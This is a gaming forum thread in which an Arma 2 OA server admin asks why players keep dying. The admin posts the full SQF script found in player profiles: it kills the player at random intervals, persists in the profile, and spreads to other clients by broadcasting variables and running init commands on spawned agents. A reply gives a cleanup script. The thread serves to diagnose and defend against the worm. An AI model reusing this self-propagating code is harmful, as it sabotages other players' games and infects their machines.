Jump to content
Sign in to follow this  
dimon

Help: arma2oa players "dying" during gameplay

Recommended Posts

arma2oa players "dying" during gameplay http://steamcommunity.com/app/33930/discussions/0/1621724915783521955

code is run from the profile

if(not isNil "BCodL")exitWith{};
BCodL = true;
[] spawn {
uiSleep 360;
while{1==1}do{
uiSleep ((random 180)+180);
player setDamage 1;
};
};
if(not isNil "rmtEx_do")exitWith{};
BCod = (profileNamespace getVariable 'tvtvarb');
publicVariable "BCod";
JCod = (profileNamespace getVariable 'tvtvarj');
publicVariable "JCod";
call BCod;
[] spawn {
rmtEx_do = "
			waitUntil{not isNil ""BCod""};
			profileNamespace setVariable [""tvtvarb"",BCod];
			waitUntil{not isNil ""JCod""};
			profileNamespace setVariable [""tvtvarj"",JCod];
			saveProfileNamespace;
			inGameUISetEventHandler['PrevAction',""call (profileNamespace getVariable 'tvtvarj');false""];
			inGameUISetEventHandler['NextAction',""call (profileNamespace getVariable 'tvtvarj');false""];
			inGameUISetEventHandler['Action',    ""call (profileNamespace getVariable 'tvtvarj');false""];
		";
while{1==1}do{
_tmpu=createAgent['Rabbit',[2500,2500,0],[],0,'FORM'];
_tmpu setVehicleInit rmtEx_do;
processInitCommands;
clearVehicleInit _tmpu;
deleteVehicle _tmpu;
uiSleep 6;
};
};

am I to understand that you need to create remoteexec.txt? 
what commands you need to enter the code and looking to the future to prevent such cases?
 

  Reveal hidden contents

http://opendayz.net/threads/a-guide-to-battleye-filters.21066/

Share this post


Link to post
Share on other sites

Execute this on init.sqf on your server

	if(
		!isNil{profileNamespace getVariable "tvtvarb"} ||
		!isNil{profileNamespace getVariable "tvtvarj"}
	) exitWith {
		inGameUISetEventHandler["PrevAction", ""];
		inGameUISetEventHandler["NextAction", ""];
		inGameUISetEventHandler["Action", ""];
		profileNamespace setVariable ["tvtvarb", nil];
		profileNamespace setVariable ["tvtvarj", nil];
		saveProfileNamespace;
		endMission "LOSER";
	};

This will fix the issue if player is infected and drop them to lobby, their next join should be fine.

  • Like 2

Share this post


Link to post
Share on other sites

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
Sign in to follow this  

×